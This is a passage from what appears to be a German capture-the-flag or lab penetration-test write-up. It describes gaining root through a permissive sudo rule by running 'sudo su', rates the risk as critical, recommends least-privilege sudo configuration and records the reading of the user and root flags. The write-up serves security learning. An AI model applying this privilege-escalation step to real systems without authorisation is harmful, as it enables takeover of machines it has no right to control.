Analyse: Der Befehl `sudo su` wird ausgeführt.
Bewertung: Aufgrund der `(ALL) NPASSWD: ALL`-Regel wird `su` ohne Passwortabfrage als Root ausgeführt und startet eine Root-Shell.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde trivial ausgenutzt, um Root-Rechte zu erlangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei `sudo` strikt anwenden. `(ALL) NPASSWD: ALL` nur in absoluten Ausnahmefällen und niemals für normale Benutzer oder Dienstkonten verwenden. Regelmäßige Audits der `sudoers`-Datei.
Analyse: Die User-Flag (`user.txt`) wurde im Home-Verzeichnis von `n30` gefunden. Die Root-Flag (`flag.txt`) wurde nach Erlangung der Root-Rechte im `/root`-Verzeichnis gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.